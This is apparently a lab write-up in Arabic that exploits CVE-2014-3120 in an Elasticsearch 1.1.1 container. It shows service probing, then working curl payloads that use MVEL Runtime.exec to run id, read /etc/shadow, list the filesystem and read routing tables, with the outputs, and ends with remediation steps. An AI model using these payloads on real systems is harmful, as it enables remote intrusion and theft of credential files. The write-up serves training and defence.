
نبدأ بما هو قيد التشغيل في البيئة. نعرض جميع الحاويات النشطة:
docker ps

النتيجة: الحاوية p1/lab10:latest قيد التشغيل، وتُظهر منفذين خارجيًا:
| تعيين المنفذ | البروتوكول |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (يحتاج إلى تحقق) |
0.0.0.0:9300 → 9300/tcp | غير معروف |
ملاحظة أولية: المنفذان 9200 و9300 معروفان عمومًا كمنفذين افتراضيين لـ Elasticsearch. ومع ذلك، لا يمكننا الجزم بناءً على أرقام المنافذ فقط - فالعديد من الخدمات الأخرى يمكنها الارتباط بأي منفذ.
⇒ نستخدم curl مباشرة على كل منفذ للتحقق من الخدمة الفعلية قيد التشغيل.
curl -i http://192.168.3.137:9300/

تحليل الاستجابة:
curl: (52) Empty reply from serverالتقييم: قبل الخادم اتصال TCP (لا يوجد رفض اتصال)، ولكنه لم يستجب باستخدام بروتوكول HTTP. هذا يتوافق مع سلوك بروتوكول نقل Elasticsearch (Transport protocol) على المنفذ 9300 - وهو بروتوكول ثنائي يُستخدم للتواصل بين العقد في العنقود (Cluster)، وليس HTTP.
⇒ المنهجية: المنفذ 9300 يستخدم بروتوكولًا ثنائيًا → لا يمكن استغلاله مباشرة عبر curl أو المتصفح. ننتقل إلى فحص المنفذ 9200 - منفذ REST API الخاص بـ HTTP.
curl -i http://192.168.3.137:9200/

تحليل الاستجابة:
تقييم سطح الهجوم:

⇒ المنهجية: إصدار Elasticsearch 1.1.1 يُفعّل البرمجة الديناميكية (Dynamic Scripting) افتراضيًا - مما يسمح للعملاء بإرسال سكربتات (تعبيرات MVEL) داخل استعلامات البحث ليُنفذها الخادم. وبدون صندوق حماية (Sandbox) أو تحقق مناسب، يمكن للمهاجم حقن سكربت خبيث لتنفيذ أوامر النظام. الخطوة التالية: التحقق مما إذا كانت البرمجة الديناميكية نشطة فعلًا على الهدف.
يدعم Elasticsearch ميزة البرمجة (Scripting) - وهي تتيح للعملاء إرسال سكربتات (تعبيرات رياضية أو منطقية) داخل طلبات البحث ليقوم الخادم بتنفيذها أثناء معالجة النتائج. في الإصدارات 1.x من Elasticsearch، المحرك الافتراضي لهذه الميزة هو MVEL (MVFLEX Expression Language).
في إصدارات Elasticsearch الأقدم من 1.2، تكون البرمجة الديناميكية مفعّلة افتراضيًا (script.disable_dynamic: false). هذا يعني:
script_fields في واجهة _searchjava.lang.Runtime.getRuntime().exec() لتنفيذ أوامر النظامscript_fieldsعند إرسال طلب بحث يتضمن script_fields، سيقوم Elasticsearch بما يلي:
_searchscript_fields → العثور على script المراد تنفيذهفي Java، الطريقة الأكثر شيوعًا لتنفيذ أمر نظام هي:
Runtime.getRuntime().exec("command");
MVEL، كلغة تعبيرات تتمتع بـ وصول كامل إلى فئات Java، تسمح باستدعاء ذلك مباشرة:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
شرح كل جزء:
⇒ المنهجية: مع Elasticsearch، يتم إرجاع مخرجات RCE مباشرة في الاستجابة — دون الحاجة إلى إعادة توجيهها إلى ملف ثم قراءتها. وهذا يجعل الاستغلال أنظف وأسرع للتحقق.
بعد تحديد الهدف على أنه Elasticsearch 1.1.1، الخطوة التالية هي التحقق مما إذا كانت البرمجة الديناميكية (Dynamic Scripting) مفعّلة فعلًا.
تستغل CVE-2014-3120 حقيقة أن Elasticsearch يسمح للعملاء بإرسال سكربتات داخل طلبات _search. إذا نُفِّذ السكربت بواسطة الخادم، يمكن للمهاجم استبدال التعبير غير الضار بحمولة تستدعي Java Runtime لتنفيذ أوامر النظام.
أولًا، ننشئ مستندًا تجريبيًا لضمان وجود نتيجة مطابقة واحدة على الأقل للاستعلام. إذا لم تتطابق أي مستندات، فلن يتم تقييم script_fields.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
ثم نقوم بتحديث الفهرس:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
بعد ذلك، نرسل طلب _search يتضمن script_fields يحتوي على تعبير MVEL غير ضار:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

أرسلنا السكربت "1+1" وأعاد الخادم النتيجة 2. هذا يُثبت أن Elasticsearch لا يستقبل طلب _search فحسب، بل ينفذ السكربت الديناميكي على جانب الخادم.
⇒ البرمجة الديناميكية (Dynamic Scripting) نشطة على الهدف.
نظرًا لأن الهدف هو Elasticsearch 1.1.1، أي قبل الإصدار 1.2، فهذا يتوافق مع متطلبات استغلال CVE-2014-3120: إصدارات Elasticsearch قبل 1.2 تُفعّل البرمجة الديناميكية افتراضيًا، مما يسمح للمهاجم البعيد بتنفيذ تعبيرات MVEL/كود Java عبر طلب بحث.
لقد تحققنا من أن script_fields تُنفَّذ بواسطة Elasticsearch على جانب الخادم عبر التعبير غير الضار "1+1" الذي أرجَع [2].
هذا يُثبت أن الهدف لا يسمح بعمليات البحث القياسية فقط، بل يسمح أيضًا للعملاء بإرسال سكربت MVEL ليقوم الخادم بتقييمه أثناء معالجة _search.
مع CVE-2014-3120، يكمن الخطر الحرج في حقيقة أن MVEL في Elasticsearch 1.1.1 يمكنه الوصول إلى فئات Java. لذلك، بدلًا من إرسال تعبير رياضي مثل "1+1"، يمكن للمهاجم إرسال سكربت يستدعي Java Runtime:
Runtime.getRuntime().exec("command")
هذه هي واجهة برمجة تطبيقات Java القياسية المستخدمة لإنشاء عملية جديدة وتنفيذ أوامر على نظام التشغيل.
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response
حمولة RCE:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

تفصيل الحمولة:
النتيجة:
تُرجع الاستجابة حقل fields.exploit الذي يحتوي على مخرجات أمر id:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
التحليل:
نجحت الحمولة في استدعاء Runtime.getRuntime().exec("id") عبر سكربت MVEL داخل script_fields. حقيقة أن الاستجابة تُرجع مخرجات أمر id تُثبت أن الأمر نُفِّذ على جانب الخادم.
النتيجة uid=0(root) gid=0(root) groups=0(root) تشير إلى أن عملية Elasticsearch داخل الحاوية تعمل بصلاحيات root.
بعد تأكيد RCE، يجب التحقق من الصلاحيات الفعلية عن طريق محاولة قراءة ملفات حساسة:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

النتيجة الملاحظة:
تُرجع الاستجابة محتويات ملف /etc/shadow:
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
التحليل:
ملف /etc/shadow هو ملف نظام حساس في Linux، وعادةً ما يكون قابلاً للقراءة فقط من قبل مستخدم root أو العمليات ذات الصلاحيات المكافئة. في الخطوة السابقة، أعاد أمر id النتيجة:
uid=0(root) gid=0(root) groups=0(root)
تؤكد هذه الخطوة ذلك بشكل أكبر من خلال السلوك الفعلي: حمولة RCE قادرة على قراءة /etc/shadow بنجاح.
⇒ Elasticsearch داخل الحاوية يعمل بصلاحيات root.
⇒ لا يقتصر التأثير على تنفيذ الأوامر النموذجي، بل هو RCE بصلاحيات root داخل الحاوية.
ملاحظة: صلاحية root هنا تشير إلى root داخل حاوية Docker. لا يمكننا الجزم بأن المهاجم يمتلك صلاحيات root على المضيف دون دليل على أن الحاوية تعمل في الوضع المميز (Privileged)، أو تُركّب مقبس Docker، أو تُركّب وحدات تخزين حساسة من المضيف.
تم تأكيد RCE. نتابع بجمع معلومات النظام لتقييم النطاق.
بعد تأكيد RCE بصلاحيات root، ننفذ الأمر ls -la / عبر حمولة MVEL لملاحظة نظام الملفات داخل الهدف:
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

النتيجة: تُرجع الاستجابة محتويات مجلد / في حقل rootfs.
التحليل:
حقيقة ظهور مخرجات ls -la / في استجابة JSON تُثبت أن الأمر نُفِّذ على الهدف عبر RCE. الملفات مثل docker-entrypoint.sh ومجلد elasticsearch والرابط الرمزي docker-java-home تشير إلى أن البيئة المخترقة هي حاوية تعمل بـ Elasticsearch.
⇒ يمكن للمهاجم عرض نظام الملفات داخل الحاوية بصلاحيات root.
نظرًا لأن الحاوية لا تحتوي على ثنائي /sbin/ifconfig، نقرأ /proc/net/route مباشرة. هذا الملف لا يتطلب أدوات خارجية ويوفر جدول التوجيه الخاص بالحاوية.
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

التحليل:
تُظهر النتائج أن الحاوية تمتلك واجهة eth0 وتقع ضمن شبكة Docker 172.19.0.0/16. البوابة الافتراضية هي 172.19.0.1.
هذا يُثبت أن الحاوية تمتلك اتصالًا شبكيًا داخليًا عبر جسر Docker. نظرًا لأن المهاجم يمتلك بالفعل RCE بصلاحيات root داخل الحاوية، يمكنه نظريًا المتابعة لفحص المضيفين/الخدمات الأخرى في نفس شبكة Docker إذا سمحت سياسات الشبكة بذلك.
ومع ذلك، فإن هذا المخرج يُثبت فقط إمكانية الرؤية الشبكية على مستوى التوجيه، وليس نجاح تنقل جانبي. استنتاج حدوث تنقل جانبي يتطلب أدلة إضافية مثل فحص مضيف آخر بنجاح، أو الاتصال بخدمة داخلية، أو استرجاع موارد من شبكة أخرى.
استنادًا إلى الأدلة التي تم جمعها أثناء التحليل، فإن الهدف يشغّل Elasticsearch 1.1.1 على المنفذ 9200. هذا الإصدار أقدم من 1.2، مما يضعه ضمن النطاق المتأثر بثغرة CVE-2014-3120.
تنبع الثغرة من قيام Elasticsearch بتفعيل البرمجة الديناميكية (Dynamic Scripting) افتراضيًا قبل الإصدار 1.2، مما يسمح للعملاء بإرسال سكربتات MVEL عبر طلبات البحث. في هذا المختبر، تم تأكيد عمل هذه الميزة باستخدام التعبير غير الضار "1+1" الذي أعاد النتيجة [2].
بعد ذلك، استدعت حمولة MVEL:
Runtime.getRuntime().exec("id")
وأعادت الاستجابة:
uid=0(root) gid=0(root) groups=0(root)
هذا يُثبت أن المهاجم يمكنه تنفيذ أوامر النظام عبر Elasticsearch. علاوة على ذلك، نجحت الحمولة في قراءة /etc/shadow، مما يؤكد أن صلاحية التنفيذ هي root داخل الحاوية.
1. ترقية Elasticsearch إلى إصدار أحدث
قم بترقية Elasticsearch إلى الإصدار >= 1.2.0 (كحد أدنى) أو الأفضل إلى الإصدار المدعوم حاليًا (8.x). بدءًا من الإصدار 1.2، تكون البرمجة الديناميكية معطّلة افتراضيًا.
2. تعطيل البرمجة الديناميكية فورًا (إذا لم تكن الترقية ممكنة)
أضف ما يلي إلى elasticsearch.yml:
script.disable_dynamic: true
أعد تشغيل Elasticsearch بعد إجراء هذا التغيير. سيؤدي ذلك إلى تعطيل قدرة العملاء على إرسال سكربتات داخل طلبات البحث تمامًا.
3. لا تُعرّض REST API الخاص بـ Elasticsearch لشبكات غير موثوقة
Elasticsearch لا يمتلك مصادقة افتراضية في الإصدار 1.x. إذا كان لا بد من تعريضه، فضعه خلف وكيل عكسي (Reverse Proxy) مع مصادقة أو اربطه بـ 127.0.0.1 فقط.
4. تفعيل المصادقة والتشفير
تدعم إصدارات Elasticsearch الحديثة (7.x+) الأمان المدمج (المصادقة، TLS). إذا تمت الترقية، فعّل ميزات الأمان:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. تقييد الوصول باستخدام جدار الحماية
اسمح فقط لعناوين IP الموثوقة بالوصول إلى المنفذين 9200 و9300. لا تُعرّضهما للإنترنت أو لشبكة داخلية بأكملها.
6. تشغيل Elasticsearch كمستخدم بصلاحيات محدودة
لا تقم بتشغيل Elasticsearch بمستخدم root. أنشئ مستخدم elasticsearch مخصصًا بصلاحيات دنيا. هذه أفضل الممارسات الرسمية:
| الحقل | القيمة | المعنى |
|---|
name | "Rage" | اسم عقدة Elasticsearch (اسم شخصية Marvel عشوائي - السلوك الافتراضي للإصدارات القديمة من ES) |
version.number | "1.1.1" | إصدار قديم جدًا - صدر في أبريل 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | بُني في عام 2014 |
lucene_version | "4.7" | Lucene 4.7 - محرك فهرسة قديم |
tagline | "You Know, for Search" | العبارة المميزة لـ Elasticsearch |
| الجزء | الشرح |
|---|
import java.io.* | استيراد فئات الإدخال/الإخراج في Java |
Runtime.getRuntime() | استرجاع مثيل بيئة Java التشغيلية |
.exec("id") | تنفيذ أمر الصدفة id |
.getInputStream() | استرجاع تدفق مخرجات العملية |
new Scanner(...).useDelimiter("\\A").next() | قراءة كامل المخرجات كنص |
| الجزء | الغرض |
|---|
"size": 1 | يحد من النتيجة إلى مستند واحد |
"query" → "match_all" | يطابق جميع المستندات (يتطلب وجود مستند واحد على الأقل في الفهرس) |
"script_fields" → "exploit" | يحدد حقلًا محسوبًا ينفذ سكربت MVEL |
"script": "import java.io.*; ..." | تعبير MVEL الذي ينفذ أمر id ويعيد المخرجات |
| المعيار | التقييم | التفاصيل |
|---|
| CVE | CVE-2014-3120 | RCE عبر البرمجة الديناميكية في Elasticsearch |
| الخدمة المتأثرة | Elasticsearch | REST API معرّض على المنفذ 9200 |
| الإصدار | 1.1.1 | أقدم من 1.2، يقع ضمن الإصدارات المتأثرة |
| المصادقة | غير مطلوبة في المختبر | REST API يستجيب مباشرة، دون بيانات اعتماد |
| شروط الاستغلال | البرمجة الديناميكية مفعّلة | تم التأكيد عبر السكربت "1+1" الذي أعاد [2] |
| الصلاحيات المكتسبة | root داخل الحاوية | أمر id أعاد uid=0(root) |
| التأثير | عالٍ جدًا | RCE، قراءة ملفات حساسة، عرض نظام الملفات، جمع معلومات المستخدمين/الشبكة |
| النطاق | الحاوية | لا يوجد دليل على اختراق المضيف حتى الآن |
| التنقل الجانبي | إمكانية تتطلب مزيدًا من التحقق | الحاوية تمتلك مسارًا عبر eth0 في شبكة Docker 172.19.0.0/16 |